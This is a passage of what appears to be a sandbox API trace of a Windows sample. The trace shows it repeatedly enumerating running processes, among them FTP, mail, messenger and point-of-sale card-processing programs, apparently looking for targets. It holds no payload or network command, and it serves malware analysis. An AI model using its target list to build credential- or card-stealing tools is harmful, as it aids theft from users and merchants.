lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0110.187] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0110.189] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0110.191] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0110.193] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0110.195] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0110.197] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0110.199] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0110.201] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0110.202] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0110.204] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0110.206] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0110.208] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0110.210] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0110.212] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0110.214] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0110.216] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0110.218] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0110.220] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0110.221] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0110.226] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0110.228] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0110.230] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0110.232] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0110.234] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0110.236] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0110.238] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0110.240] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0110.241] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0110.243] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0110.245] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0110.247] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0110.249] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0110.250] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0110.252] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0110.255] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0110.257] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0110.258] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0110.260] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0110.262] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0110.263] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0110.265] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0110.267] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0110.272] CloseHandle (hObject=0x1970) returned 1 [0110.272] Sleep (dwMilliseconds=0x64) [0110.379] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17cc [0110.390] Process32First (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.392] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.394] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.396] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.398] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.400] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.402] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.403] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.405] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.407] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.409] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.411] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.412] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.414] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.416] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.418] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.420] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.421] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.423] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.435] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0110.437] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0110.439] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.441] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0110.443] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.445] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.447] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0110.450] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0110.452] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0110.454] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.457] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0110.459] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0110.461] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0110.463] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0110.464] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0110.466] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0110.467] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0110.469] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0110.471] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0110.476] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0110.477] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0110.479] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, 